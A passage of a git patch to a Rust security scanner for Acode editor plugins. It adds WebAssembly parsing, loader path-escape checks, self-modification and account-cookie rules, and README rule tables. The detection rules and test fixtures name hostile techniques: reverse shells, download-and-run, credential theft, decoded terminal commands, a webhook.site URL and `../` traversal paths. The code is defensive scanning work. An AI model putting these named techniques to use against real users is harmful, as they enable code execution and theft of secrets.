"shell.decoded_command")); + assert!(has( + "const t = acode.require('terminal'); t.write(id, atob(c))", + "shell.decoded_command" + )); + } + #[test] fn detects_remote_scripts_and_imports() { assert!(has( diff --git a/src/main.rs b/src/main.rs index 466c706..413641a 100644 --- a/src/main.rs +++ b/src/main.rs @@ -9,6 +9,7 @@ mod report; mod rules; mod severity; mod terminal; +mod wasm; use std::process::ExitCode; diff --git a/src/manifest.rs b/src/manifest.rs index 5facd9c..afe80fc 100644 --- a/src/manifest.rs +++ b/src/manifest.rs @@ -155,7 +155,49 @@ fn resolve_entry( key.to_string(), )); } - Some(sanitize_zip_path(key)) + + // loadPlugin.js doesn't reuse the installer's path: it joins the raw + // `main` onto the plugin folder, loads it if that file exists, and + // otherwise loads main.js. + let installed = sanitize_zip_path(key); + let loaded = loader_path(key); + if loaded == ".." || loaded.starts_with("../") { + report.push(manifest_finding( + "manifest.main_escapes_plugin_dir", + Severity::Critical, + "Acode's loader resolves `main` outside the plugin folder, so the script that runs is not the one in the zip", + format!("main = {key:?}: installed as {installed}, loader runs /{}", loaded.trim_start_matches("../")), + )); + return Some(loaded); + } + if loaded != installed { + report.push(manifest_finding( + "manifest.main_loader_mismatch", + Severity::Medium, + "Acode installs `main` at one path but its loader looks for another, so it loads main.js instead", + format!("main = {key:?}: installed as {installed}, loader looks for {loaded}"), + )); + return Some("main.js".to_string()); + } + Some(installed) +} + +/// Path, relative to the plugin folder, that loadPlugin.js loads for `main`. +/// `Url.join` normalises like Node's `path.join`: `.` and inner `..` collapse, +/// but a `..` past the start survives and climbs out of the folder. Unlike in +/// the installer, backslashes are ordinary characters. +fn loader_path(main: &str) -> String { + let mut stack: Vec<&str> = Vec::new(); + for part in main.split('/') { + match part { + "" | "." => {} + ".." if stack.last().is_some_and(|last| *last != "..") => { + stack.pop(); + } + part => stack.push(part), + } + } + stack.join("/") } fn validate_fields(object: &Map, manifest: &PluginManifest, report: &mut Report) { @@ -379,6 +421,57 @@ mod tests { assert_eq!(manifest.unwrap().entry.as_deref(), Some("main.js")); } + fn manifest_with_main(main: &str) -> Vec { + format!(r#"{{"id":"com.example.ok","name":"Ok","main":{main:?},"version":"1.0.0"}}"#) + .into_bytes() + } + + #[test] + fn main_climbing_out_of_plugin_dir_is_critical() { + let json = manifest_with_main("../victim/main.js"); + let (manifest, report) = load_zip(&[ + ("plugin.json", &json), + ("../victim/main.js", b"reviewed code"), + ICON, + README, + ]); + assert!(report.has("manifest.main_escapes_plugin_dir")); + // The installer wrote victim/main.js inside the plugin folder, but the + // loader runs /victim/main.js. + assert_eq!( + manifest.unwrap().entry.as_deref(), + Some("../victim/main.js") + ); + } + + #[test] + fn backslash_main_makes_loader_fall_back() { + let json = manifest_with_main("dist\\main.js"); + let (manifest, report) = load_zip(&[ + ("plugin.json", &json), + ("dist\\main.js", b"shown to reviewers"), + ("main.js", b"actually runs"), + ICON, + README, + ]); + assert!(report.has("manifest.main_loader_mismatch")); + assert_eq!(manifest.unwrap().entry.as_deref(), Some("main.js")); + } + + #[test] + fn inner_dot_segments_in_main_are_harmless() { + let json = manifest_with_main("dist/../main.js"); + let (manifest, report) = load_zip(&[ + ("plugin.json", &json), + ("dist/../main.js", b""), + ICON, + README, + ]); + assert!(!report.has("manifest.main_escapes_plugin_dir")); + assert!(!report.has("manifest.main_loader_mismatch")); + assert_eq!(manifest.unwrap().entry.as_deref(), Some("main.js")); + } + #[test] fn missing_entry_is_install_failure() { let (_, report) = load_zip(&[( diff --git a/src/report.rs b/src/report.rs index 74df246..6cf0619 100644 --- a/src/report.rs +++ b/src/report.rs @@ -7,7 +7,7 @@ use crate::severity::{Category, Confidence, Severity}; /// Bumped whenever the JSON shape changes incompatibly. pub const SCHEMA_VERSION: u32 = 2; /// Bumped whenever rules or severities change, so stored reports can be rescanned. -pub const RULES_VERSION: &str = "2026.10.1"; +pub const RULES_VERSION: &str = "2026.10.2"; /// Upper bound on extra source locations kept per aggregated finding. const MAX_LOCATIONS: usize = 8; diff --git a/src/rules.rs b/src/rules.rs index 9532e22..b22cd5c 100644 --- a/src/rules.rs +++ b/src/rules.rs @@ -105,12 +105,16 @@ pub struct FileFacts { pub reads_sensitive_data: bool, pub listens_to_keys: bool, pub minified: bool, + /// WebAssembly modules inlined as base64 strings. + pub embedded_wasm: Vec>, } pub struct RuleContext<'a> { pub file: &'a str, pub source: &'a str, pub plugin_id: Option<&'a str>, + /// Installed path of the script Acode loads, when known. + pub entry: Option<&'a str>, line_starts: Vec, pub findings: Vec, pub facts: FileFacts, @@ -122,6 +126,7 @@ impl<'a> RuleContext<'a> { file, source, plugin_id, + entry: None, line_starts: line_starts(source), findings: Vec::new(), facts: FileFacts::default(), @@ -205,6 +210,12 @@ pub struct Arg { pub is_function: bool, /// What the argument refers to, e.g. `acode` for `Object.assign(acode, …)`. pub path: Option, + /// An object literal, e.g. fetch options. + pub is_object: bool, + /// URL of a `fetch(url)` call passed as this argument, when partly known. + pub fetch_url: Option, + /// `method` of an options object literal, e.g. `fetch(url, { method: "POST" })`. + pub http_method: Option, } impl Arg { @@ -344,6 +355,7 @@ pub fn classify_call(ctx: &mut RuleContext<'_>, call: &Call<'_>) { call.arg_text(0).unwrap_or("fetch(…)"), ); record_url(ctx, call.arg_text(0)); + classify_acode_account(ctx, call); } "XMLHttpRequest" => ctx.add( "network.xhr", @@ -381,6 +393,11 @@ pub fn classify_call(ctx: &mut RuleContext<'_>, call: &Call<'_>) { call.arg_text(0).unwrap_or("sendBeacon"), ), "importScripts" => classify_import(ctx, call.span, call.arg(0)), + "WebAssembly.instantiate" + | "WebAssembly.instantiateStreaming" + | "WebAssembly.compile" + | "WebAssembly.compileStreaming" + | "WebAssembly.Module" => classify_wasm_load(ctx, call), "Worker" | "SharedWorker" => { let source = call.arg_text(0).unwrap_or(""); if is_remote_url(source) { @@ -595,6 +612,31 @@ fn classify_fallback(ctx: &mut RuleContext<'_>, call: &Call<'_>) { ); } +fn classify_wasm_load(ctx: &mut RuleContext<'_>, call: &Call<'_>) { + let method = call.path.trim_start_matches("WebAssembly."); + match call.arg(0).and_then(|arg| arg.fetch_url.as_deref()) { + Some(url) if is_remote_url(url) => { + ctx.add( + "wasm.remote_module", + Severity::High, + Category::Wasm, + Some(call.span), + "Compiles WebAssembly downloaded from a remote server, so the code was never reviewed", + url, + ); + record_url(ctx, Some(url)); + } + _ => ctx.add( + "wasm.instantiate", + Severity::Info, + Category::Wasm, + Some(call.span), + "Compiles or instantiates WebAssembly", + format!("WebAssembly.{method}"), + ), + } +} + fn classify_code_sink(ctx: &mut RuleContext<'_>, call: &Call<'_>, id: &str, name: &str) { // Function("a", "b", "return a+b"): the body is the last argument. let code = if call.path == "Function" { @@ -692,11 +734,9 @@ fn classify_executor(ctx: &mut RuleContext<'_>, call: &Call<'_>, method: &str) { match method { "execute" | "start" | "spawnStream" | "write" => { // spawnStream takes an argv array; the resolver joins it. - let command = if method == "write" { - call.arg_text(1) - } else { - call.arg_text(0) - }; + let index = if method == "write" { 1 } else { 0 }; + let command = call.arg_text(index); + classify_command_source(ctx, call, call.arg(index), "Executor"); ctx.push( ctx.finding( "shell.exec", @@ -737,13 +777,57 @@ fn classify_executor(ctx: &mut RuleContext<'_>, call: &Call<'_>, method: &str) { } fn classify_terminal_module(ctx: &mut RuleContext<'_>, call: &Call<'_>, method: &str) { - if method == "write" - && let Some(data) = call.arg_text(1) - { + if method != "write" { + return; + } + classify_command_source(ctx, call, call.arg(1), "the terminal module"); + if let Some(data) = call.arg_text(1) { classify_command(ctx, call.span, data); } } +/// A command whose text came from the network or a decoder, graded like the +/// same value reaching `eval`. Constant commands inside a fetch callback are +/// not remote, so only commands with runtime parts count there. +fn classify_command_source( + ctx: &mut RuleContext<'_>, + call: &Call<'_>, + command: Option<&Arg>, + via: &str, +) { + let Some(command) = command else { + return; + }; + let (id, severity, message) = + if command.remote || (call.in_remote_callback && command.value.is_none()) { + ( + "shell.remote_command", + Severity::Critical, + format!("Runs a shell command downloaded at runtime through {via}"), + ) + } else if command.decoded { + ( + "shell.decoded_command", + Severity::High, + format!("Runs a decoded/encoded shell command through {via}"), + ) + } else { + return; + }; + let evidence = command + .text() + .map(str::to_string) + .unwrap_or_else(|| ctx.snippet(call.span)); + ctx.add( + id, + severity, + Category::Shell, + Some(call.span), + message, + evidence, + ); +} + fn classify_terminal_env(ctx: &mut RuleContext<'_>, call: &Call<'_>, method: &str) { let (severity, message) = match method { "uninstall" | "restore" => ( @@ -1109,6 +1193,9 @@ fn classify_fs_operation(ctx: &mut RuleContext<'_>, call: &Call<'_>, rest: &str) ); return; } + if classify_self_modify(ctx, call, target, method) { + return; + } let (id, severity, message) = match method { "readFile" | "lsDir" => { ctx.facts.reads_sensitive_data = true; @@ -1143,11 +1230,193 @@ fn classify_fs_operation(ctx: &mut RuleContext<'_>, call: &Call<'_>, rest: &str) ); } +/// Writing scripts where the plugin, or Acode, loads code from means the code +/// that runs later was never part of a reviewed zip. Returns true when it +/// reported something. +fn classify_self_modify( + ctx: &mut RuleContext<'_>, + call: &Call<'_>, + target: &str, + method: &str, +) -> bool { + let mut parts = target.split('|'); + let zone = parts.next().unwrap_or(""); + if !matches!(zone, "plugin_dir" | "own_dir" | "app_data") { + return false; + } + // createFile(name, data) and renameTo(name) carry the file name; writeFile + // writes to the path itself. + let (name_arg, data_arg) = match method { + "writeFile" => (None, call.arg(0)), + "createFile" => (call.arg_value(0), call.arg(1)), + "renameTo" => (call.arg_value(0), None), + _ => return false, + }; + let Some(name) = parts.chain(name_arg).find(|name| is_loadable_name(name)) else { + return false; + }; + let file = name.rsplit('/').next().unwrap_or(name).to_ascii_lowercase(); + let entry = ctx + .entry + .map_or("main.js", |entry| entry.rsplit('/').next().unwrap_or(entry)) + .to_ascii_lowercase(); + let remote = data_arg + .is_some_and(|data| data.remote || (call.in_remote_callback && data.value.is_none())); + let loads_on_start = file == "plugin.json" || (zone != "app_data" && file == entry); + let (severity, message) = if remote { + ( + Severity::Critical, + "Saves downloaded code as a script file, so what runs later was never reviewed", + ) + } else if loads_on_start { + ( + Severity::Critical, + "Rewrites its own entry script or plugin.json at runtime, replacing the reviewed code", + ) + } else { + ( + Severity::High, + "Writes script files where plugins load code from at runtime", + ) + }; + let confidence = if zone == "own_dir" { + // Found through a `baseUrl` name, not a constant Acode defines. + Confidence::Medium + } else { + Confidence::High + }; + ctx.push( + ctx.finding( + "tampering.self_modify", + severity, + Category::Tampering, + Some(call.span), + message, + format!("fsOperation({zone}…{name}).{method}"), + ) + .with_confidence(confidence) + .keyed(file), + ); + true +} + +/// File names Acode or a browser will run: scripts, pages, wasm, the manifest. +fn is_loadable_name(name: &str) -> bool { + let lower = name.to_ascii_lowercase(); + let file = lower.rsplit('/').next().unwrap_or(&lower); + file == "plugin.json" + || [".js", ".mjs", ".cjs", ".html", ".htm", ".wasm"] + .iter() + .any(|ext| file.ends_with(ext)) +} + +/// acode.app API paths that return the signed-in user's account data. +const ACODE_ACCOUNT_READS: &[&str] = + &["/api/login", "/api/user", "/api/plugin/owned", "owned=true"]; + +/// Acode's fetch polyfill adds `credentials: "include"` to every request whose +/// URL contains `acode.app/api`, so a plugin's request is made as the +/// signed-in user. +fn classify_acode_account(ctx: &mut RuleContext<'_>, call: &Call<'_>) { + let Some(url) = call.arg_text(0) else { + return; + }; + let lower = url.to_ascii_lowercase(); + if !lower.contains("acode.app/api") { + return; + } + let method = match call.arg(1) { + None => Some("GET".to_string()), + Some(options) => match &options.http_method { + Some(method) => Some(method.to_ascii_uppercase()), + // An options literal without `method` is still a GET; anything + // else could say anything. + None => options.is_object.then(|| "GET".to_string()), + }, + }; + let span = Some(call.span); + match method.as_deref() { + Some("GET" | "HEAD") => { + if ACODE_ACCOUNT_READS.iter().any(|path| lower.contains(path)) { + ctx.facts.reads_sensitive_data = true; + ctx.push( + ctx.finding( + "network.acode_account_read", + Severity::Medium, + Category::Network, + span, + "Reads the signed-in user's acode.app account (Acode sends their session cookies)", + url, + ) + .keyed(account_path(&lower)), + ); + } + } + Some(method) => ctx.push( + ctx.finding( + "network.acode_account_write", + Severity::High, + Category::Network, + span, + "Changes data on acode.app as the signed-in user (Acode sends their session cookies)", + format!("{method} {url}"), + ) + .keyed(format!("{method} {}", account_path(&lower))), + ), + None => ctx.push( + ctx.finding( + "network.acode_account_write", + Severity::Medium, + Category::Network, + span, + "Calls acode.app's API as the signed-in user with a method decided at runtime", + url, + ) + .with_confidence(Confidence::Low) + .keyed(format!("? {}", account_path(&lower))), + ), + } +} + +/// `https://acode.app/api/plugin/…?x=1` -> `/api/plugin`, stable across ids. +fn account_path(url: &str) -> String { + let path = url + .split_once("acode.app") + .map_or(url, |(_, rest)| rest) + .split(['?', '#']) + .next() + .unwrap_or_default(); + path.split('/') + .take_while(|part| !part.contains('…')) + .take(3) + .collect::>() + .join("/") +} + fn classify_cordova_exec(ctx: &mut RuleContext<'_>, call: &Call<'_>) { let service = call.arg_value(2); let action = call.arg_value(3).unwrap_or("?"); let span = Some(call.span); match service { + Some("Authenticator") => ctx.push( + ctx.finding( + "native.account_bridge", + if action == "saveToken" { + Severity::Critical + } else { + Severity::High + }, + Category::Native, + span, + if action == "saveToken" { + "Plants an acode.app session token through Acode's account bridge" + } else { + "Calls Acode's acode.app account bridge directly (log in / log out)" + }, + format!("Authenticator.{action}"), + ) + .keyed(action), + ), Some("Tee") => ctx.push( ctx.finding( "native.plugin_context_bridge", @@ -1393,6 +1662,20 @@ pub fn classify_string(ctx: &mut RuleContext<'_>, value: &str, span: Span) { if value.len() >= 8 && value.contains("://") { ctx.facts.urls.extend(extract_urls(value)); } + if let Some(module) = decode_wasm_payload(value) { + if ctx.facts.embedded_wasm.len() < MAX_EMBEDDED_WASM { + ctx.facts.embedded_wasm.push(module); + } + ctx.add( + "wasm.embedded_module", + Severity::Low, + Category::Wasm, + Some(span), + "WebAssembly module inlined as a base64 string (decoded and checked like a shipped one)", + format!("{} base64 characters", value.len()), + ); + return; + } if value.len() >= BASE64_PAYLOAD_MIN_LEN && let Some(decoded) = decode_js_payload(value) { @@ -1515,6 +1798,23 @@ fn looks_like_jsfuck(source: &str) -> bool { total > 0 && symbols * 100 >= total * 85 } +const MAX_EMBEDDED_WASM: usize = 16; + +/// `AGFzbQ…` or `data:application/wasm;base64,AGFzbQ…`. +fn decode_wasm_payload(value: &str) -> Option> { + let data = match value.strip_prefix("data:") { + Some(rest) => rest.split_once(";base64,")?.1, + None => value, + }; + if !data.starts_with(crate::wasm::BASE64_MAGIC) || data.len() < 16 { + return None; + } + let bytes = base64::engine::general_purpose::STANDARD + .decode(data.trim_end()) + .ok()?; + bytes.starts_with(crate::wasm::MAGIC).then_some(bytes) +} + fn decode_js_payload(value: &str) -> Option { let candidate = match value.strip_prefix("data:") { Some(rest) => { diff --git a/src/severity.rs b/src/severity.rs index 0670aea..50a09d4 100644 --- a/src/severity.rs +++ b/src/severity.rs @@ -62,10 +62,11 @@ pub enum Category { Storage, AcodeApi, Obfuscation, + Wasm, } impl Category { - pub const ALL: [Self; 11] = [ + pub const ALL: [Self; 12] = [ Self::Archive, Self::Manifest, Self::Shell, @@ -77,6 +78,7 @@ impl Category { Self::Storage, Self::AcodeApi, Self::Obfuscation, + Self::Wasm, ]; pub fn key(self) -> &'static str { @@ -92,6 +94,7 @@ impl Category { Self::Storage => "storage", Self::AcodeApi => "acode_api", Self::Obfuscation => "obfuscation", + Self::Wasm => "wasm", } } @@ -108,6 +111,7 @@ impl Category { Self::Storage => "Browser storage", Self::AcodeApi => "Acode APIs and hooks", Self::Obfuscation => "Obfuscation", + Self::Wasm => "WebAssembly", } } @@ -130,6 +134,7 @@ impl Category { Self::Storage => "uses localStorage, IndexedDB, or cookies", Self::AcodeApi => "uses Acode lifecycle, modules, commands, and editor state", Self::Obfuscation => "code is deliberately hard to read", + Self::Wasm => "ships or loads compiled WebAssembly that can't be read as source", } } } diff --git a/src/wasm.rs b/src/wasm.rs new file mode 100644 index 0000000..c0b6aaf --- /dev/null +++ b/src/wasm.rs @@ -0,0 +1,432 @@ +//! WebAssembly modules shipped in, or embedded into, a plugin. +//! +//! A module can only reach the outside world through the functions its JS +//! glue imports into it, and that glue is scanned as JavaScript. What the +//! binary adds is code a reviewer can't read, so this module records what it +//! imports, flags imports that run JavaScript strings, and pulls URLs out of +//! its data segments so hidden hosts still reach the endpoint checks. + +use crate::{ + archive::extension, + report::{Finding, Report}, + rules, + severity::{Category, Severity}, +}; + +/// `\0asm`, the first four bytes of every WebAssembly binary. +pub const MAGIC: &[u8] = b"\0asm"; +/// `\0asm` in base64, how bundlers inline a module into JavaScript. +pub const BASE64_MAGIC: &str = "AGFzbQ"; + +/// Strings shorter than this in a data segment are not worth checking. +const MIN_STRING_LEN: usize = 8; +const MAX_STRINGS: usize = 20_000; +const MAX_LISTED_IMPORTS: usize = 12; + +#[derive(Debug, Default)] +pub struct Module { + /// `(module, name)` of every imported function, table, memory or global. + pub imports: Vec<(String, String)>, + pub exports: Vec, + /// Printable ASCII runs found in data segments. + pub strings: Vec, +} + +/// Imports whose JavaScript side runs a string from wasm memory as code. +fn is_eval_import(name: &str) -> bool { + matches!( + name, + "emscripten_run_script" | "emscripten_run_script_int" | "emscripten_run_script_string" + ) || name.starts_with("__wbg_eval_") +} + +/// Analyses one module. `embedded` modules came out of a JS string, so their +/// "file name" says nothing about what the bytes are. +pub fn analyze( + file: &str, + bytes: &[u8], + embedded: bool, + report: &mut Report, + urls: &mut Vec<(String, String)>, +) { + let push = |report: &mut Report, id: &str, severity, category, message: &str, evidence| { + report.push( + Finding::new(id, severity, category, message, evidence) + .with_file(file) + .keyed(file), + ); + }; + + if !bytes.starts_with(MAGIC) { + push( + report, + "wasm.bad_magic", + Severity::Medium, + Category::Wasm, + "File is named .wasm but isn't WebAssembly", + format!("starts with {:02x?}", &bytes[..bytes.len().min(8)]), + ); + return; + } + if !embedded && extension(file) != "wasm" { + push( + report, + "wasm.disguised", + Severity::Medium, + Category::Wasm, + "WebAssembly binary hidden under another file extension", + file.to_string(), + ); + } + + let module = match parse(bytes) { + Ok(module) => module, + Err(error) => { + push( + report, + "wasm.parse_failed", + Severity::Medium, + Category::Wasm, + "WebAssembly module could not be parsed, so its imports and data weren't checked", + error, + ); + report.mark_incomplete(); + return; + } + }; + + let mut listed: Vec = module + .imports + .iter() + .take(MAX_LISTED_IMPORTS) + .map(|(module, name)| format!("{module}.{name}")) + .collect(); + if module.imports.len() > MAX_LISTED_IMPORTS { + listed.push(format!( + "… {} more", + module.imports.len() - MAX_LISTED_IMPORTS + )); + } + push( + report, + "wasm.module", + Severity::Low, + Category::Wasm, + "Ships compiled WebAssembly, which can't be reviewed as source", + format!( + "{} bytes, {} imports, {} exports; imports: {}", + bytes.len(), + module.imports.len(), + module.exports.len(), + if listed.is_empty() { + "none".to_string() + } else { + listed.join(", ") + } + ), + ); + + for (import_module, name) in &module.imports { + if is_eval_import(name) { + report.push( + Finding::new( + "wasm.eval_import", + Severity::High, + Category::DynamicCode, + "WebAssembly module can run JavaScript strings built inside the binary", + format!("{import_module}.{name}"), + ) + .with_file(file) + // The hash suffix of wasm-bindgen names changes every build. + .keyed(name.trim_end_matches(|ch: char| ch.is_ascii_hexdigit())), + ); + } + } + + for string in &module.strings { + if string.contains("://") { + urls.extend( + rules::extract_urls(string) + .into_iter() + .map(|url| (file.to_string(), url)), + ); + } + } +} + +pub fn parse(bytes: &[u8]) -> Result { + let mut reader = Reader::new(bytes); + if reader.take(4)? != MAGIC { + return Err("missing \\0asm header".into()); + } + let version = reader.take(4)?; + if version != [1, 0, 0, 0] { + return Err(format!("unsupported version {version:02x?}")); + } + + let mut module = Module::default(); + while !reader.done() { + let id = reader.byte()?; + let size = reader.uleb()? as usize; + let payload = reader.take(size)?; + let mut section = Reader::new(payload); + match id { + 2 => read_imports(&mut section, &mut module) + .map_err(|e| format!("import section: {e}"))?, + 7 => read_exports(&mut section, &mut module) + .map_err(|e| format!("export section: {e}"))?, + 11 => read_data(&mut section, &mut module).map_err(|e| format!("data section: {e}"))?, + _ => {} + } + } + Ok(module) +} + +fn read_imports(reader: &mut Reader<'_>, module: &mut Module) -> Result<(), String> { + for _ in 0..reader.uleb()? { + let import_module = reader.name()?; + let name = reader.name()?; + match reader.byte()? { + // function: type index + 0x00 => { + reader.uleb()?; + } + // table: reference type + limits + 0x01 => { + reader.byte()?; + reader.limits()?; + } + // memory: limits + 0x02 => reader.limits()?, + // global: value type + mutability + 0x03 => { + reader.byte()?; + reader.byte()?; + } + // tag: attribute + type index + 0x04 => { + reader.byte()?; + reader.uleb()?; + } + kind => return Err(format!("unknown import kind {kind:#x}")), + } + module.imports.push((import_module, name)); + } + Ok(()) +} + +fn read_exports(reader: &mut Reader<'_>, module: &mut Module) -> Result<(), String> { + for _ in 0..reader.uleb()? { + let name = reader.name()?; + reader.byte()?; + reader.uleb()?; + module.exports.push(name); + } + Ok(()) +} + +fn read_data(reader: &mut Reader<'_>, module: &mut Module) -> Result<(), String> { + for _ in 0..reader.uleb()? { + match reader.uleb()? { + 0 => reader.const_expr()?, + 1 => {} + 2 => { + reader.uleb()?; + reader.const_expr()?; + } + flag => return Err(format!("unknown data segment flag {flag}")), + } + let len = reader.uleb()? as usize; + let data = reader.take(len)?; + collect_strings(data, &mut module.strings); + } + Ok(()) +} + +fn collect_strings(data: &[u8], out: &mut Vec) { + for run in data.split(|byte| !(0x20..0x7f).contains(byte) && *byte != b'\t') { + if out.len() >= MAX_STRINGS { + return; + } + if run.len() >= MIN_STRING_LEN { + out.push(String::from_utf8_lossy(run).into_owned()); + } + } +} + +/// Bounds-checked reader for the binary format. Every read fails instead of +/// panicking, so a hostile module can only make the parse fail. +struct Reader<'a> { + bytes: &'a [u8], + pos: usize, +} + +impl<'a> Reader<'a> { + fn new(bytes: &'a [u8]) -> Self { + Self { bytes, pos: 0 } + } + + fn done(&self) -> bool { + self.pos >= self.bytes.len() + } + + fn byte(&mut self) -> Result { + let byte = *self.bytes.get(self.pos).ok_or("unexpected end")?; + self.pos += 1; + Ok(byte) + } + + fn take(&mut self, len: usize) -> Result<&'a [u8], String> { + let end = self.pos.checked_add(len).ok_or("length overflow")?; + let slice = self.bytes.get(self.pos..end).ok_or("unexpected end")?; + self.pos = end; + Ok(slice) + } + + fn uleb(&mut self) -> Result { + let mut value = 0u64; + for shift in (0..64).step_by(7) { + let byte = self.byte()?; + value |= u64::from(byte & 0x7f) << shift; + if byte & 0x80 == 0 { + return Ok(value); + } + } + Err("LEB128 too long".into()) + } + + /// Signed LEB128; only its length matters here. + fn skip_sleb(&mut self) -> Result<(), String> { + for _ in 0..10 { + if self.byte()? & 0x80 == 0 { + return Ok(()); + } + } + Err("LEB128 too long".into()) + } + + fn name(&mut self) -> Result { + let len = self.uleb()? as usize; + Ok(String::from_utf8_lossy(self.take(len)?).into_owned()) + } + + fn limits(&mut self) -> Result<(), String> { + let flags = self.byte()?; + self.uleb()?; + if flags & 0x01 != 0 { + self.uleb()?; + } + Ok(()) + } + + /// Constant expression ending in `end`, as used for data segment offsets. + fn const_expr(&mut self) -> Result<(), String> { + loop { + match self.byte()? { + 0x0b => return Ok(()), + 0x41 | 0x42 => self.skip_sleb()?, + 0x23 => { + self.uleb()?; + } + 0x43 => { + self.take(4)?; + } + 0x44 => { + self.take(8)?; + } + // Extended constant arithmetic (i32/i64 add, sub, mul). + 0x6a..=0x6c | 0x7c..=0x7e => {} + opcode => return Err(format!("unsupported opcode {opcode:#x} in offset")), + } + } + } +} + +#[cfg(test)] +pub mod tests { + use super::*; + + fn uleb(mut value: usize, out: &mut Vec) { + loop { + let byte = (value & 0x7f) as u8; + value >>= 7; + if value == 0 { + out.push(byte); + return; + } + out.push(byte | 0x80); + } + } + + fn name(text: &str, out: &mut Vec) { + uleb(text.len(), out); + out.extend_from_slice(text.as_bytes()); + } + + fn section(id: u8, payload: Vec, out: &mut Vec) { + out.push(id); + uleb(payload.len(), out); + out.extend(payload); + } + + /// Minimal module importing functions `(module, name)` and holding `data` + /// in one active data segment. + pub fn module(imports: &[(&str, &str)], data: &[u8]) -> Vec { + let mut out = b"\0asm\x01\0\0\0".to_vec(); + // One `() -> ()` function type. + section(1, vec![1, 0x60, 0, 0], &mut out); + let mut payload = Vec::new(); + uleb(imports.len(), &mut payload); + for (module, field) in imports { + name(module, &mut payload); + name(field, &mut payload); + payload.extend([0x00, 0x00]); + } + section(2, payload, &mut out); + // memory 1 page + section(5, vec![1, 0, 1], &mut out); + let mut payload = vec![1, 0, 0x41, 0, 0x0b]; + uleb(data.len(), &mut payload); + payload.extend_from_slice(data); + section(11, payload, &mut out); + out + } + + #[test] + fn reads_imports_and_data_strings() { + let bytes = module( + &[("env", "emscripten_run_script"), ("wbg", "__wbg_log_1a2b")], + b"\0\0https://webhook.site/abc\0short\0", + ); + let parsed = parse(&bytes).unwrap(); + assert_eq!(parsed.imports.len(), 2); + assert_eq!(parsed.imports[0].1, "emscripten_run_script"); + assert!(parsed.strings.iter().any(|s| s.contains("webhook.site"))); + assert!(!parsed.strings.iter().any(|s| s == "short")); + } + + #[test] + fn truncated_modules_fail_cleanly() { + let bytes = module(&[("env", "f")], b"data"); + for len in 8..bytes.len() { + let _ = parse(&bytes[..len]); + } + assert!(parse(&bytes[..bytes.len() - 1]).is_err()); + assert!(parse(b"\0asm\x02\0\0\0").is_err()); + } + + #[test] + fn flags_eval_imports_and_disguised_modules() { + let mut report = Report::new(); + let mut urls = Vec::new(); + let bytes = module(&[("wbg", "__wbg_eval_9f3c2a")], b""); + analyze("assets/font.dat", &bytes, false, &mut report, &mut urls); + assert!(report.has("wasm.eval_import")); + assert!(report.has("wasm.disguised")); + assert!(report.has("wasm.module")); + + let mut report = Report::new(); + analyze("lib.wasm", b"console.log(1)", false, &mut report, &mut urls); + assert!(report.has("wasm.bad_magic")); + } +} From f7e63bd7eb01705bc33d4698bcc7f3006140d0fb Mon Sep 17 00:00:00 2001 From: Raunak Raj <71929976+bajrangCoder@users.noreply.github.com> Date: Fri, 23 Oct 2026 11:53:07 +0530 Subject: [PATCH 2/2] feat: catch shared-global hooks, HTML sinks, risky scripts, and new update arguments MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Flag hooks on native-plugin globals (`system`, `Executor`, `sdcard`…), security-relevant DOM/built-in methods (`addEventListener`, `appendChild`, input `value`, `Function.prototype.call`…), Acode's ad objects, and `pluginsDisabled` edits. `Object.defineProperty(obj, "name")` now checks `obj.name`. - Grade HTML sinks: `innerHTML`/`outerHTML`/`insertAdjacentHTML` with downloaded or decoded HTML, `createContextualFragment`/`srcdoc` (which run scripts), `on*` attributes, and `setAttribute("src")` on scripts. - Run shipped `.sh` and `#!` scripts through the command rules, and add patterns for download-then-chmod, SSH keys and stored credentials, curl uploads, piping env/files to the network, untrusted package sources, and cron/boot persistence. - Classify the `webview` module (remote pages, evaluate/loadHTML). - Flag forms and password fields in the readme/changelog, which the plugin page renders through DOMPurify (forms are kept by default). - `diff` reports new arguments for capabilities the old version already had (shell commands, native actions, remote script URLs), so an update that runs a different command needs review. --- README.md | 19 +- src/analysis.rs | 20 +++ src/diff.rs | 96 ++++++++++ src/js.rs | 148 ++++++++++++++++ src/manifest.rs | 129 +++++++++++++- src/report.rs | 14 +- src/rules.rs | 454 +++++++++++++++++++++++++++++++++++++++++++++++- 7 files changed, 864 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index c80f710..84937aa 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,10 @@ threshold reached, `2` unreadable archive or other error. For **updates**, use `diff`. A terminal plugin always comes out as `review` on a full scan, but if nothing new appears in the diff, the update is `pass`. Updates that add a High/Critical capability, a new declared permission, or a -new flagged host are `review` (or `block`). +new flagged host are `review` (or `block`). So are updates that keep a +capability but use it with new arguments: a terminal plugin that starts +running a different shell command, a new native `Service.action`, or a new +remote script URL. Severity guide: @@ -124,11 +127,12 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's | Area | Rule IDs (severity) | | --- | --- | | Archive | `install_path_collision` (C), `path_traversal`, `duplicate_entry`, `encrypted_entry`, `unsupported_compression`, `oversized_entry`, `total_size_limit`, `too_many_entries`, `native_binary` (H), `absolute_path`, `nested_archive`, `metadata_path_content` (M) | -| Manifest | `missing`, `invalid_json`, `no_entrypoint`, `main_escapes_plugin_dir` (C), `missing_id/name/version` (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry`, `main_loader_mismatch` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) | -| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, shell-profile persistence), `load_library` (C), `exec`, `terminal_module` (H), `terminal_environment`, `process_control` (M/H) | +| Manifest | `missing`, `invalid_json`, `no_entrypoint`, `main_escapes_plugin_dir` (C), `missing_id/name/version`, `readme_password_form` (readme or changelog renders a password form; DOMPurify keeps forms) (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry`, `main_loader_mismatch`, `readme_form` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) | +| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, download-then-chmod, SSH keys / stored credentials, curl file uploads, piping env or files to the network, untrusted package sources, cron/boot persistence, shell-profile persistence), `load_library` (C), `exec`, `terminal_module` 